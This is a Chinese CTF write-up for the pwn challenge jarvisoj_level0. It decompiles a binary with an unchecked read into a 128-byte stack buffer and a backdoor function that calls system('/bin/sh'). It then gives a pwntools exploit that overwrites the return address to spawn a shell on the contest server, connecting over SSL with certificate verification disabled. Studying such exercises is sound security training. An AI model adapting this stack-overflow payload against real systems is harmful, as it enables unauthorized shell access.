【CTF】jarvisoj\_level0
原创
devildollking
devildollking
熔城Sec
2026年10月29日 09:00
辽宁
去阅读
01
题目简介
- 题目名称:jarvisoj\_level0
- 题目平台:CTF²
- 题目类型:PWN****
02
解题步骤
下载附件,使用checksec查看文件属性,开启了 NX(栈不可执行)保护
使用IDA打开进行编译,主函数非常的简略
int __cdecl main(int argc, const char **argv, const char **envp){ write(1, \"Hello, World\
\", 0xDuLL); return vulnerable_function(1LL, \"Hello, World\
\");}
这里有个vulnerable\_function,我们追踪一下函数
ssize_t vulnerable_function(){ char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x200uLL);}
从代码中分析出来从buf开始到rbp之间有0x80=128字节的栈空间。64 位程序栈帧大致是
高地址+------------------+| 返回地址 ret | <- rbp + 8+------------------+| 保存的旧 rbp | <- rbp+------------------+| buf 缓冲区 | <- rbp - 0x80| ... || ... |+------------------+低地址
并且还存在后门函数callsystem
int callsystem(){ return system(\"/bin/sh\");}
所以我们只需要利用 read 的栈溢出覆盖 vulnerable_function 的返回地址,让函数返回时跳转到 callsystem,这样我们就能构造payload了
import sslfrom pwn import *
# 手动创建一个 SSL 上下文,并关闭证书验证ssl_context = ssl.create_default_context()ssl_context.check_hostname = Falsessl_context.verify_mode = ssl.CERT_NONE
HOST = '3d165ac0917543f99ce5b338.tcp-ctf2.dasctf.com'PORT = 9999
# 使用 ssl_context 参数p = remote(HOST, PORT, ssl=True, ssl_context=ssl_context)
# 等价于 ncat 的 --ssl-servername,pwntools 会默认用 host 作为 SNI# 如果需要显式指定,可以使用 sni 参数:# p = remote(HOST, PORT, ssl=True, ssl_context=ssl_context, sni=HOST)
payload = b'a' * 0x88 + p64(0x400596)p.send(payload)p.interactive()
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。












评论